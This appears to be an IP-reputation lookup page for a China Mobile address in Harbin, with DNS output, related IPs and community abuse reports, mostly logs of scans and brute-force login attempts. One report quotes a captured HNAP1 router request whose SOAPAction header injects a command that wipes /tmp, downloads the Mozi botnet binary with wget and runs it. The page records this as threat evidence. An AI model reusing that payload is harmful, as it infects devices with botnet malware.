Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: Harbin

Region: Heilongjiang

Country: China

Internet Service Provider: China Mobile

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
Make a comment on this IP
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
IP Type Details Datetime
111.42.66.27 attack 
Unauthorized connection attempt detected from IP address 111.42.66.27 to port 8080
 2020-05-31 03:43:33
111.42.66.150 attackbotsspam 
Honeypot attack, port: 5555, PTR: PTR record not found
 2020-05-21 03:30:06
111.42.66.48 attackbots 
Unauthorized connection attempt detected from IP address 111.42.66.48 to port 8080 [T]
 2020-05-09 18:54:19
111.42.66.143 attackbots 
WEB Remote Command Execution via Shell Script -1.a
 2020-05-09 07:20:47
111.42.66.43 attackbots 
Automatic report - Port Scan Attack
 2020-05-08 07:03:12
111.42.66.48 attackspam 
Unauthorised access (May  6) SRC=111.42.66.48 LEN=60 TOS=0x04 TTL=52 ID=27433 DF TCP DPT=8080 WINDOW=5840 SYN
 2020-05-07 01:18:13
111.42.67.31 attackspam 
Unauthorized connection attempt detected from IP address 111.42.67.31 to port 2323 [T]
 2020-04-14 23:25:30
111.42.66.162 attack 
Honeypot attack, port: 81, PTR: PTR record not found
 2020-04-12 21:54:06
111.42.67.77 attackspam 
POST /HNAP1/ HTTP/1.0
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://111.42.67.77:38257/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640
2020-04-06 12:23:14
111.42.67.49 attackbotsspam 
Fail2Ban Ban Triggered
 2020-03-28 16:26:23
111.42.67.72 attackbotsspam 
suspicious action Thu, 27 Feb 2020 11:22:32 -0300
 2020-02-28 03:23:14
111.42.66.151 attackspam 
111.42.66.151 - - \[21/Feb/2020:05:56:51 +0100\] "POST /HNAP1/ HTTP/1.0" 301 551 "-" "-"
 2020-02-21 14:49:02
111.42.66.45 attackspambots 
unauthorized connection attempt
 2020-02-16 19:18:24
111.42.66.31 attackspambots 
Automatic report - Port Scan Attack
 2020-01-30 21:38:03
111.42.66.36 attackspambots 
Unauthorized connection attempt detected from IP address 111.42.66.36 to port 23 [J]
 2020-01-29 03:41:57
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 111.42.6.66
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 7898
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;111.42.6.66.			IN	A

;; AUTHORITY SECTION:
.			551	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2024081400 1800 900 604800 86400

;; Query time: 19 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Aug 14 20:47:34 CST 2024
;; MSG SIZE  rcvd: 104
Host info
Host 66.6.42.111.in-addr.arpa not found: 2(SERVFAIL)
Nslookup info:
server can't find 111.42.6.66.in-addr.arpa: SERVFAIL
Related IP info:
111.42.6.6
111.42.6.246
111.42.6.87
111.42.6.35
111.42.6.69
111.42.6.104
111.42.6.170
111.42.6.135
111.42.6.147
111.42.6.142
111.42.6.23
111.42.6.18
111.42.6.166
111.42.6.227
111.42.6.228
111.42.6.9
111.42.6.207
111.42.6.91
111.42.6.220
111.42.6.204
111.42.6.158
111.42.6.216
111.42.6.2
111.42.6.21
111.42.6.154
111.42.6.237
111.42.6.61
111.42.6.1
111.42.6.37
111.42.6.199
111.42.6.143
111.42.6.173
111.42.6.162
111.42.6.225
111.42.6.157
111.42.6.68
111.42.6.165
111.42.6.221
111.42.6.202
111.42.6.222
111.42.6.101
111.42.6.43
111.42.6.33
111.42.6.54
111.42.6.95
111.42.6.132
111.42.6.169
111.42.6.233
111.42.6.49
111.42.6.89
111.42.6.232
111.42.6.15
111.42.6.164
111.42.6.10
111.42.6.106
111.42.6.191
111.42.6.214
111.42.6.248
111.42.6.136
111.42.6.185
111.42.6.92
111.42.6.96
111.42.6.122
111.42.6.180
111.42.6.25
111.42.6.226
111.42.6.5
111.42.6.238
111.42.6.188
111.42.6.133
111.42.6.97
111.42.6.27
111.42.6.124
111.42.6.85
111.42.6.42
111.42.6.57
111.42.6.109
111.42.6.116
111.42.6.58
111.42.6.160
111.42.6.189
111.42.6.82
111.42.6.249
111.42.6.102
111.42.6.236
111.42.6.247
111.42.6.47
111.42.6.65
111.42.6.29
111.42.6.52
111.42.6.88
111.42.6.156
111.42.6.208
111.42.6.240
111.42.6.155
111.42.6.230
111.42.6.130
111.42.6.168
111.42.6.194
111.42.6.171
111.42.6.148
111.42.6.40
111.42.6.78
111.42.6.193
111.42.6.11
111.42.6.229
111.42.6.28
111.42.6.174
111.42.6.184
111.42.6.81
111.42.6.141
111.42.6.181
111.42.6.119
111.42.6.98
111.42.6.167
111.42.6.26
111.42.6.73
111.42.6.244
111.42.6.86
111.42.6.195
111.42.6.32
111.42.6.56
111.42.6.80
111.42.6.186
111.42.6.153
111.42.6.235
111.42.6.145
111.42.6.48
111.42.6.123
111.42.6.13
111.42.6.44
111.42.6.151
111.42.6.152
111.42.6.127
111.42.6.215
111.42.6.187
111.42.6.41
111.42.6.3
111.42.6.84
111.42.6.205
111.42.6.110
111.42.6.134
111.42.6.223
111.42.6.115
111.42.6.140
111.42.6.70
111.42.6.22
111.42.6.175
111.42.6.253
111.42.6.46
111.42.6.75
111.42.6.210
111.42.6.83
111.42.6.99
111.42.6.198
111.42.6.62
111.42.6.126
111.42.6.55
111.42.6.224
111.42.6.60
111.42.6.117
111.42.6.182
111.42.6.100
111.42.6.163
111.42.6.105
111.42.6.19
111.42.6.125
111.42.6.51
111.42.6.94
111.42.6.76
111.42.6.79
111.42.6.77
111.42.6.144
111.42.6.120
111.42.6.121
111.42.6.20
111.42.6.111
111.42.6.14
111.42.6.129
111.42.6.239
111.42.6.4
111.42.6.38
111.42.6.12
111.42.6.203
111.42.6.7
111.42.6.251
111.42.6.254
111.42.6.17
111.42.6.93
111.42.6.192
111.42.6.16
111.42.6.71
111.42.6.107
111.42.6.209
111.42.6.178
111.42.6.150
111.42.6.212
111.42.6.113
111.42.6.159
111.42.6.218
111.42.6.200
111.42.6.24
111.42.6.245
111.42.6.63
111.42.6.74
111.42.6.131
111.42.6.39
111.42.6.196
111.42.6.138
111.42.6.243
111.42.6.217
111.42.6.66
111.42.6.30
111.42.6.36
111.42.6.179
111.42.6.241
111.42.6.59
111.42.6.53
111.42.6.177
111.42.6.242
111.42.6.250
111.42.6.67
111.42.6.103
111.42.6.45
111.42.6.161
111.42.6.176
111.42.6.149
111.42.6.231
111.42.6.8
111.42.6.139
111.42.6.34
111.42.6.206
111.42.6.183
111.42.6.146
111.42.6.64
111.42.6.50
111.42.6.213
111.42.6.31
111.42.6.108
111.42.6.90
111.42.6.219
111.42.6.252
111.42.6.72
111.42.6.172
111.42.6.112
111.42.6.114
111.42.6.190
111.42.6.197
111.42.6.137
111.42.6.118
111.42.6.211
111.42.6.201
111.42.6.234
111.42.6.128
Related comments:
IP Type Details Datetime
180.101.145.234 attack 
Sep  6 20:16:52 srv-ubuntu-dev3 postfix/smtpd[59755]: warning: unknown[180.101.145.234]: SASL LOGIN authentication failed: authentication failure
Sep  6 20:16:52 srv-ubuntu-dev3 postfix/smtpd[59755]: warning: unknown[180.101.145.234]: SASL LOGIN authentication failed: authentication failure
Sep  6 20:16:53 srv-ubuntu-dev3 postfix/smtpd[59755]: warning: unknown[180.101.145.234]: SASL LOGIN authentication failed: authentication failure
Sep  6 20:16:54 srv-ubuntu-dev3 postfix/smtpd[59755]: warning: unknown[180.101.145.234]: SASL LOGIN authentication failed: authentication failure
Sep  6 20:16:55 srv-ubuntu-dev3 postfix/smtpd[59755]: warning: unknown[180.101.145.234]: SASL LOGIN authentication failed: authentication failure
...
 2020-09-07 03:35:22
192.35.168.232 attackbotsspam 
firewall-block, port(s): 9607/tcp
 2020-09-07 03:39:06
1.230.226.101 attack 
Honeypot attack, port: 81, PTR: PTR record not found
 2020-09-07 03:43:25
112.85.42.181 attackbots 
Sep  6 21:10:16 vpn01 sshd[18821]: Failed password for root from 112.85.42.181 port 24582 ssh2
Sep  6 21:10:29 vpn01 sshd[18821]: error: maximum authentication attempts exceeded for root from 112.85.42.181 port 24582 ssh2 [preauth]
...
 2020-09-07 03:14:44
116.72.92.148 attackspambots 
TCP Port Scanning
 2020-09-07 03:24:04
114.67.168.0 attackspambots 
Sep  6 20:14:59 mail postfix/smtpd[601436]: warning: unknown[114.67.168.0]: SASL LOGIN authentication failed: authentication failure
Sep  6 20:15:15 mail postfix/smtpd[601451]: warning: unknown[114.67.168.0]: SASL LOGIN authentication failed: authentication failure
Sep  6 20:15:30 mail postfix/smtpd[601436]: warning: unknown[114.67.168.0]: SASL LOGIN authentication failed: authentication failure
...
 2020-09-07 03:32:37
197.45.173.17 attackbotsspam 
Unauthorized connection attempt from IP address 197.45.173.17 on Port 445(SMB)
 2020-09-07 03:47:17
183.154.21.200 attackspambots 
Sep  5 21:58:54 srv01 postfix/smtpd\[32601\]: warning: unknown\[183.154.21.200\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Sep  5 22:02:26 srv01 postfix/smtpd\[32601\]: warning: unknown\[183.154.21.200\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Sep  5 22:05:58 srv01 postfix/smtpd\[26878\]: warning: unknown\[183.154.21.200\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Sep  5 22:09:30 srv01 postfix/smtpd\[5903\]: warning: unknown\[183.154.21.200\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Sep  5 22:09:41 srv01 postfix/smtpd\[5903\]: warning: unknown\[183.154.21.200\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
...
 2020-09-07 03:27:32
115.150.23.144 attackspambots 
Blocked 115.150.23.144 For sending bad password count 10 tried : on & on & on & on & on & on@ & on@ & on@ & on@ & on@
 2020-09-07 03:17:05
107.172.198.146 attack 
SSH login attempts.
 2020-09-07 03:11:11
189.69.118.118 attackbotsspam 
*Port Scan* detected from 189.69.118.118 (BR/Brazil/São Paulo/São Paulo/189-69-118-118.dsl.telesp.net.br). 4 hits in the last 10 seconds
 2020-09-07 03:34:16
45.127.107.188 attackbots 
Honeypot attack, port: 445, PTR: 45.127.107.188.sukaininfoway.com.
 2020-09-07 03:34:31
2604:a880:cad:d0::54f:c001 attack 
[-]:80 2604:a880:cad:d0::54f:c001 - - [05/Sep/2020:18:42:36 +0200] "GET /wp-login.php HTTP/1.1" 301 456 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
 2020-09-07 03:26:31
51.195.47.79 attack 
51.195.47.79 - - [06/Sep/2020:00:42:36 +0100] "POST /wp-login.php HTTP/1.1" 200 1965 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
51.195.47.79 - - [06/Sep/2020:00:42:38 +0100] "POST /wp-login.php HTTP/1.1" 200 1950 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
51.195.47.79 - - [06/Sep/2020:00:42:38 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
...
 2020-09-07 03:25:12
218.92.0.165 attack 
(sshd) Failed SSH login from 218.92.0.165 (CN/China/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Sep  6 13:25:16 cvps sshd[9656]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.165  user=root
Sep  6 13:25:18 cvps sshd[9656]: Failed password for root from 218.92.0.165 port 39113 ssh2
Sep  6 13:25:21 cvps sshd[9656]: Failed password for root from 218.92.0.165 port 39113 ssh2
Sep  6 13:25:25 cvps sshd[9656]: Failed password for root from 218.92.0.165 port 39113 ssh2
Sep  6 13:25:29 cvps sshd[9656]: Failed password for root from 218.92.0.165 port 39113 ssh2
 2020-09-07 03:39:33

Recently Reported IPs

111.74.202.69 111.74.210.232 111.74.21.24 111.43.113.253
23.225.156.80 23.225.255.244 23.225.255.190 121.29.71.230
52.213.212.227 61.152.149.131 203.155.183.233 142.126.180.15
116.234.11.218 111.74.122.23 111.74.116.197 111.74.131.60
111.74.108.26 111.74.127.187 111.73.83.73 111.73.82.49